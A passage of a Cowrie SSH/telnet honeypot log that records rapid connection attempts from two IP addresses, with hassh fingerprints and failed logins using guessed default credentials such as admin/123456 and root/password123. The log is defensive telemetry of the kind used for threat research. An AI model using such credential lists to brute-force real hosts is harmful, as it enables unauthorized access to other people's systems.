16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:32.161391Z","src_ip":"45.156.87.69","session":"3d6b46cd895e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser123","message":"login attempt [devuser/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:32.751460Z","src_ip":"45.156.87.69","session":"3d6b46cd895e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:33.836743Z","src_ip":"45.156.87.69","session":"3d6b46cd895e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":47854,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c679be2d542","protocol":"ssh","message":"New connection: 45.156.87.69:47854 (159.203.135.109:22) [session: 1c679be2d542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:35.460582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:35.465456Z","src_ip":"45.156.87.69","session":"1c679be2d542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:35.577348Z","src_ip":"45.156.87.69","session":"1c679be2d542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:36.095291Z","src_ip":"45.156.87.69","session":"1c679be2d542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:37.180663Z","src_ip":"45.156.87.69","session":"1c679be2d542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24870,"dst_ip":"159.203.135.109","dst_port":22,"session":"57931d5a7cd4","protocol":"ssh","message":"New connection: 45.156.87.69:24870 (159.203.135.109:22) [session: 57931d5a7cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:39.055416Z"}
{"eventid":"cowrie.session.closed","duration":42.56474280357361,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:39.074126Z","src_ip":"152.42.224.71","session":"cbac2345c95a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:39.112991Z","src_ip":"45.156.87.69","session":"57931d5a7cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:39.209161Z","src_ip":"45.156.87.69","session":"57931d5a7cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54812,"dst_ip":"10.17.0.5","dst_port":23,"session":"926120f93044","protocol":"telnet","message":"New connection: 152.42.224.71:54812 (10.17.0.5:23) [session: 926120f93044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:39.619900Z"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:39.879843Z","src_ip":"45.156.87.69","session":"57931d5a7cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00141549110413,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:40.605905Z","src_ip":"152.42.224.71","session":"da7bb595b5d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:40.966243Z","src_ip":"45.156.87.69","session":"57931d5a7cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24880,"dst_ip":"159.203.135.109","dst_port":22,"session":"cac7c57f8cbd","protocol":"ssh","message":"New connection: 45.156.87.69:24880 (159.203.135.109:22) [session: cac7c57f8cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:42.511206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:42.519861Z","src_ip":"45.156.87.69","session":"cac7c57f8cbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:42.616279Z","src_ip":"45.156.87.69","session":"cac7c57f8cbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyber","password":"cyber","message":"login attempt [cyber/cyber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:43.167504Z","src_ip":"45.156.87.69","session":"cac7c57f8cbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:44.252107Z","src_ip":"45.156.87.69","session":"cac7c57f8cbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":60278,"dst_ip":"159.203.135.109","dst_port":22,"session":"a937c6cd1ad9","protocol":"ssh","message":"New connection: 45.156.87.69:60278 (159.203.135.109:22) [session: a937c6cd1ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:46.209672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:46.214578Z","src_ip":"45.156.87.69","session":"a937c6cd1ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:46.298244Z","src_ip":"45.156.87.69","session":"a937c6cd1ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54818,"dst_ip":"10.17.0.5","dst_port":23,"session":"4336d63fb4ca","protocol":"telnet","message":"New connection: 152.42.224.71:54818 (10.17.0.5:23) [session: 4336d63fb4ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:46.603418Z"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:46.695046Z","src_ip":"45.156.87.69","session":"a937c6cd1ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.30995535850525,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:47.695724Z","src_ip":"152.42.224.71","session":"316b38b08bdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:47.784953Z","src_ip":"45.156.87.69","session":"a937c6cd1ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":60288,"dst_ip":"159.203.135.109","dst_port":22,"session":"faa208008369","protocol":"ssh","message":"New connection: 45.156.87.69:60288 (159.203.135.109:22) [session: faa208008369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:49.685834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:49.690902Z","src_ip":"45.156.87.69","session":"faa208008369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:49.792227Z","src_ip":"45.156.87.69","session":"faa208008369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:50.332728Z","src_ip":"45.156.87.69","session":"faa208008369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59944,"dst_ip":"10.17.0.5","dst_port":23,"session":"653b83e37127","protocol":"telnet","message":"New connection: 152.42.224.71:59944 (10.17.0.5:23) [session: 653b83e37127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:51.339301Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:51.461695Z","src_ip":"45.156.87.69","session":"faa208008369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":60300,"dst_ip":"159.203.135.109","dst_port":22,"session":"091c1745c5f9","protocol":"ssh","message":"New connection: 45.156.87.69:60300 (159.203.135.109:22) [session: 091c1745c5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:53.525465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:53.528972Z","src_ip":"45.156.87.69","session":"091c1745c5f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:53.619213Z","src_ip":"45.156.87.69","session":"091c1745c5f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git1234","message":"login attempt [git/git1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:53.998479Z","src_ip":"45.156.87.69","session":"091c1745c5f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:55.184705Z","src_ip":"45.156.87.69","session":"091c1745c5f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":21356,"dst_ip":"159.203.135.109","dst_port":22,"session":"411c59d8546a","protocol":"ssh","message":"New connection: 45.156.87.69:21356 (159.203.135.109:22) [session: 411c59d8546a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:57.223978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:57.229050Z","src_ip":"45.156.87.69","session":"411c59d8546a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:57.312613Z","src_ip":"45.156.87.69","session":"411c59d8546a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123","message":"login attempt [root/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:57.809684Z","src_ip":"45.156.87.69","session":"411c59d8546a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:58.895631Z","src_ip":"45.156.87.69","session":"411c59d8546a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":21364,"dst_ip":"159.203.135.109","dst_port":22,"session":"925297ff94f3","protocol":"ssh","message":"New connection: 45.156.87.69:21364 (159.203.135.109:22) [session: 925297ff94f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:00.660902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:00.668119Z","src_ip":"45.156.87.69","session":"925297ff94f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ec